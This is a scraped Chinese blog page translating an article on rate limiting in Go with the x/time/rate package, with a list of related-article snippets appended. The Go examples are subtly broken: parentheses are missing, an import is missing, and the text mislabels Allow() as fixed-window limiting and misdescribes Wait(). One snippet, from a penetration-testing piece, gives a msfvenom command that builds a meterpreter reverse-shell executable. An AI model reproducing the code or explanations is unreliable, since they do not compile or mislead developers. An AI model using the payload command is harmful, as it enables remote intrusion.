Golang高效流控实践

news2024/11/25 21:27:59

流控对于构建高可靠弹性系统至关重要,本文介绍了Golang内置的流控组件,通过该组件就可以打造适合各种业务场景的流控系统。原文: Rate Limiting in Go: Controlling Traffic with Efficiency[1]

Jon Cellier @Unsplash
Jon Cellier @Unsplash
导言

流控(Rate limiting)是构建可扩展弹性系统的重要技术之一,目的是通过限制指定时间内允许通过的请求数量来控制流量。在 Go 中实施流控可以确保最佳的资源利用率,并保护应用不被过多的流量或滥用行为所冲垮。本文将探讨 Go 中的流控技术,并提供代码示例,帮助感兴趣的读者有效实施这些技术。

了解流控

流控包括定义一套规则,确定客户端在给定时间窗口内可以发出多少请求,从而确保系统能够处理负载,防止滥用或拒绝服务攻击[2]。两种常见的流控方法是:

  • **固定窗口流控(Fixed Window Rate Limiting)**:在这种方法中,在一个固定时间窗口内执行流控。例如,如果流控设置为每分钟 100 个请求,则系统在任何给定的 60 秒窗口内最多允许 100 个请求,超过此限制的请求将被拒绝或延迟到下一个时间窗口。
  • **令牌桶流控(Token Bucket Rate Limiting)**:令牌桶流控基于令牌从桶中消耗的概念。令牌桶最初装满固定数量的令牌,每个令牌代表一个请求。当客户端要发出请求时,必须从桶中获取一个令牌。如果桶是空的,客户端必须等待,直到有令牌可用。
在 Go 中实施流控

Go 提供了一个名为 golang.org/x/time/rate 的内置软件包,实现了流控功能。接下来我们看看如何使用固定窗口和令牌桶两种方法来实现流控。

固定窗口流控
package main

import (
 "fmt"
 "golang.org/x/time/rate"
 "time"
)

func main() {
 limiter := rate.NewLimiter(rate.Limit(100), 1// Allow 100 requests per second

 for i := 0; i < 200; i++ {
  if !limiter.Allow() {
   fmt.Println("Rate limit exceeded. Request rejected.")
   continue
  }
  // Process the request
  fmt.Println("Request processed successfully.")
  time.Sleep(time.Millisecond * 100// Simulate request processing time
 }
}

在上面的代码片段中,我们用 rate.NewLimiter 创建了一个限制器,其速率限制为每秒 100 个请求。每个请求都会调用 limiter.Allow() 方法,如果允许请求,则返回 true,如果超过速率限制,则返回 false,超过速率限制的请求将被拒绝。

令牌桶流控
package main

import (
 "fmt"
 "golang.org/x/time/rate"
 "time"
)

func main() {
 limiter := rate.NewLimiter(rate.Limit(10), 5// Allow 10 requests per second with a burst of 5

 for i := 0; i < 15; i++ {
  if err := limiter.Wait(context.TODO()); err != nil {
   fmt.Println("Rate limit exceeded. Request rejected.")
   continue
  }
  // Process the request
  fmt.Println("Request processed successfully.")
  time.Sleep(time.Millisecond * 100// Simulate request processing time
 }
}

在上述代码中,我们用 rate.NewLimiter 创建了一个限制器,其速率限制为每秒 10 个请求,允许 5 个并发请求。每个请求都会调用 limiter.Wait() 方法,该方法会阻塞直到有令牌可用。如果令牌桶是空的,没有可用令牌,请求就会被拒绝。

动态流控

动态流控是指根据客户端行为、系统负载或业务规则等动态因素调整速率限制。这种技术允许我们实时调整流控,以优化资源利用率并提供更好的用户体验。让我们看看 Go 中动态流控的示例:

package main

import (
 "fmt"
 "golang.org/x/time/rate"
 "time"
)

func main() {
 limiter := rate.NewLimiter(rate.Limit(100), 1// Initial rate limit of 100 requests per second

 // Dynamic rate adjustment
 go func() {
  time.Sleep(time.Minute) // Adjust rate every minute
  limiter.SetLimit(rate.Limit(200)) // Increase rate limit to 200 requests per second
 }()

 for i := 0; i < 300; i++ {
  if !limiter.Allow() {
   fmt.Println("Rate limit exceeded. Request rejected.")
   continue
  }
  // Process the request
  fmt.Println("Request processed successfully.")
  time.Sleep(time.Millisecond * 100// Simulate request processing time
 }
}

在上面的代码片段中,我们创建了一个限制器,初始速率限制为每秒 100 个请求。然后,启动一个 goroutine,在一分钟后将速率限制调整为每秒 200 个请求。这样,我们就能根据不断变化的情况动态调整流控。

自适应流控

自适应流控可根据之前请求的响应时间或错误率动态调整速率限制,从而允许系统自动适应不同的流量条件,确保获得最佳性能和资源利用率。让我们看看 Go 中自适应流控示例:

package main

import (
 "fmt"
 "golang.org/x/time/rate"
 "time"
)

func main() {
 limiter := rate.NewLimiter(rate.Limit(100), 1// Initial rate limit of 100 requests per second

 // Adaptive rate adjustment
 go func() {
  for {
   responseTime := measureResponseTime() // Measure the response time of previous requests
   if responseTime > 500*time.Millisecond {
    limiter.SetLimit(rate.Limit(50)) // Decrease rate limit to 50 requests per second
   } else {
    limiter.SetLimit(rate.Limit(100)) // Increase rate limit to 100 requests per second
   }
   time.Sleep(time.Minute) // Adjust rate every minute
  }
 }()

 for i := 0; i < 200; i++ {
  if !limiter.Allow() {
   fmt.Println("Rate limit exceeded. Request rejected.")
   continue
  }
  // Process the request
  fmt.Println("Request processed successfully.")
  time.Sleep(time.Millisecond * 100// Simulate request processing time
 }
}

func measureResponseTime() time.Duration {
 // Measure the response time of previous requests
 // Implement your own logic to measure the response time
 return time.Millisecond * 200
}

在上述代码片段中,我们用 measureResponseTime 函数模拟测量之前请求的响应时间。根据测量到的响应时间,通过 limiter.SetLimit 设置不同的值来动态调整速率限制。这样,系统就能根据观察到的响应时间调整其流控策略。

结论
Jo Jo @Unsplash
Jo Jo @Unsplash

流控是保障 Go 应用程序稳定性和安全性的基本技术。通过有效控制传入请求的流量,可以防止资源耗尽并确保资源的公平分配。本文探讨了固定窗口和令牌桶流控的概念,并提供了代码片段,演示了如何基于 golang.org/x/time/rate 包实现流控策略,帮助读者将流控纳入应用程序,以构建能够高效处理不同流量水平的弹性系统。


你好,我是俞凡,在Motorola做过研发,现在在Mavenir做技术工作,对通信、网络、后端架构、云原生、DevOps、CICD、区块链、AI等技术始终保持着浓厚的兴趣,平时喜欢阅读、思考,相信持续学习、终身成长,欢迎一起交流学习。为了方便大家以后能第一时间看到文章,请朋友们关注公众号"DeepNoMind",并设个星标吧,如果能一键三连(转发、点赞、在看),则能给我带来更多的支持和动力,激励我持续写下去,和大家共同成长进步!

参考资料
[1]

Rate Limiting in Go: Controlling Traffic with Efficiency: https://towardsdev.com/rate-limiting-in-go-controlling-traffic-with-efficiency-6a5ef7444ef8

[2]

拒绝服务攻击: https://en.wikipedia.org/wiki/Denial-of-service_attack

本文由 mdnice 多平台发布

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1522860.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

element-plus怎么修改表单中的label字体颜色及大小

问题描述&#xff1a; 当我们在vue3中使用element-plus组件库提供的表单组件时&#xff0c;有时我们需要修改表单中label的字体颜色等属性&#xff0c;这是如果直接选中label的class进行修改是不起作用的&#xff0c;我们只需深度选择即可选中并进行修改。 比如&#xff1a; …

阿里二面:什么情况会发生Full GC?如何避免频繁Full GC?

阿里二面&#xff1a;什么情况会发生Full GC&#xff1f;如何避免频繁Full GC&#xff1f; Minor GC、Major GC 和 Full GC区别&#xff1f; Minor GC、Major GC和Full GC是垃圾回收中的三个重要概念&#xff0c;它们描述了垃圾回收的不同阶段和范围&#xff1a; Minor GC&am…

旋转花键的制造工艺

旋转花键的制造工艺是一门精细的技术&#xff0c;涉及多个步骤和精细的操作&#xff0c;以确保最终产品的质量和性能&#xff0c;下面简单介绍下旋转花键的制造工艺。 1、原材料准备&#xff1a;制造旋转花键的核心是选择合适的材料&#xff0c;根据花键的规格和性能要求&#…

lftp服务与http服务(包含scp服务)详解

目录 前言: 1.lftp服务 1.1lftp服务的介绍以及应用场景 1.2安装lftp服务 1.2进行配置 1.3实际操作 2.http服务 2.1http服务介绍以及应用场景 2.1安装httpd服务 2.2进行配置 2.3实际操作 3.scp服务 3.1scp服务的介绍以及应用场景 致谢: 前言: 在当今互联网…

由浅到深认识C语言(11):结构体

该文章Github地址&#xff1a;https://github.com/AntonyCheng/c-notes 在此介绍一下作者开源的SpringBoot项目初始化模板&#xff08;Github仓库地址&#xff1a;https://github.com/AntonyCheng/spring-boot-init-template & CSDN文章地址&#xff1a;https://blog.csdn…

一起学数据分析_2

写在前面&#xff1a;代码运行环境为jupyter&#xff0c;如果结果显示不出来的地方就加一个print()函数。 一、数据基本处理 缺失值处理&#xff1a; import numpy as np import pandas as pd#加载数据train.csv df pd.read_csv(train_chinese.csv) df.head()# 查看数据基本…

数据结构的概念大合集01(含数据结构的基本定义,算法及其描述)

概念大合集01 1、数据结构基础的定义2、数据结构2.1 数据元素之间关系的集合2.2数据结构的三要素2.2.1数据的逻辑结构2.2.2数据的存储&#xff08;物理&#xff09;结构2.2.3数据的运算 3、数据类型4、抽象数据类型类型&#xff08;ADT&#xff09;5、算法及其描述5.1算法的5个…

NCV4275CDT50RKG稳压器芯片中文资料规格书PDF数据手册引脚图图片价格功能

产品概述&#xff1a; NCV4275C 是一款低漏稳压器&#xff0c;可用于严酷汽车环境。它包括了较宽的运行温度范围和输出电压范围。输出调节为 5.0 V 或 3.3 V&#xff0c;额定输出电流为 450 mA。它还提供过电流保护、超温保护和可编程微处理器重置等多种功能。NCV4275C 采用 D…

观察者模式的理解和引用

1.前言 在之前的H5小游戏中&#xff0c;对于长连接发送的不同类型数据包的处理&#xff0c;是通过switch语句进行处理的&#xff0c;于是在自己的代码中出现了大量的case分支&#xff0c;不方便进行维护和后期的版本迭代。于是在老师的指导下&#xff0c;开始寻求使用观察者模…

互动投影游戏如何为科普教育馆带来更加生动有趣的科普体验?

近年科普教育馆在数字多媒体技术的支持下&#xff0c;让更多的家长和孩子注意到这一展示场景&#xff0c;尤其是对孩子来说&#xff0c;这里不仅是一个扩展知识的场景&#xff0c;更是一个发掘自我、探索未知世界的地方&#xff0c;而在这个过程中&#xff0c;多媒体互动技术的…

【MySQL高级篇】08-事务篇

第13章:事务基础知识 #09-事务的基础知识#1.事务的完成过程 #步骤1&#xff1a;开启事务 #步骤2&#xff1a;一系列的DML操作 #.... #步骤3&#xff1a;事务结束的状态&#xff1a;提交的状态(COMMIT) 、 中止的状态(ROLLBACK)#2. 显式事务#2.1 如何开启&#xff1f; 使用关键…

蓝桥:保险箱(Python,动态规划)

问题描述&#xff1a; 小蓝有一个保险箱&#xff0c;保险箱上共有 n 位数字。小蓝可以任意调整保险箱上的每个数字&#xff0c;每一次操作可以将其中一位增加 1 或减少 1。当某位原本为 9 或 0 时可能会向前&#xff08;左边&#xff09;进位/退位&#xff0c;当最高位&#x…

如果要做优化,CSS提高性能的方法有哪些?

文章目录 一、前言二、实现方式内联首屏关键CSS异步加载CSS资源压缩合理使用选择器减少使用昂贵的属性不要使用import其他 三、总结参考文献 一、前言 每一个网页都离不开css&#xff0c;但是很多人又认为&#xff0c;css主要是用来完成页面布局的&#xff0c;像一些细节或者优…

加密算法详解

加密学的发展和应用 计算机加密学的发展历程可以大致分为以下几个阶段&#xff1a; 古典密码学时期&#xff08;古代至20世纪初&#xff09;&#xff1a; 在古代&#xff0c;人们就已经开始使用简单的加密技术来保护通信内容&#xff0c;例如凯撒密码、维吉尼亚密码等。到了近…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

MQ 延迟队列

MQ 延迟队列 1. 前言 延迟队列是我们日常开发过程中&#xff0c;经常接触并需要使用到的一种技术方案。前些时间在开发业务需求时&#xff0c;我也遇到了一个需要使用到延迟消息队列的需求场景&#xff0c;因此我也在网上调研了一系列不同的延迟队列的实现方案&#xff0c;在…

计算机网络----计算机网络的基础

目录 一.计算机网络的相关概念 二.计算机网络的功能 三.计算机网络的发展 四.计算机网络的组成 五.计算机网络的分类 六.计算机的性能指标 1.速率 2.带宽 3.吞吐量 4.时延 5.时延带宽积 6.往返时延RTT 7.利用率 七.计算机的分层结构 八.ISO/OSI参考模型 九.OSI…

Word粘贴时出现“运行时错误53,文件未找到:MathPage.WLL“的解决方案

在安装完MathType后&#xff0c;打开word复制粘贴时报错“运行时错误53,文件未找到&#xff1a;MathPage.WLL” 首先确定自己电脑的位数&#xff08;这里默认32位&#xff09; 右击MathType桌面图标&#xff0c;点击“打开文件所在位置”&#xff0c; 然后分别找到MathPage.W…

RabbitMQ高级-高级特性

1.消息可靠性传递 在使用RabbitMQ的时候&#xff0c;作为消息发送方希望杜绝任何消息丢失或者投递失败场景。RabbitMQ为我们提供了两种方式来控制消息的投递可靠性模式 1.confirm 确认模式 确认模式是由exchange决定的 2.return 退回模式 回退模式是由routing…

Webapi(.net6) 批量服务注册

如果不考虑第三方库&#xff0c;如Autofac这种进行服务注入&#xff0c;通过本身的.Core Weabpi实现的&#xff0c;总结了两种实现方法&#xff0c; 1.一种是参考abp框架里面的形式; 1.1 新建个生命周期的文件夹: 三个接口分别为: public interface IScopedDependency { }pu…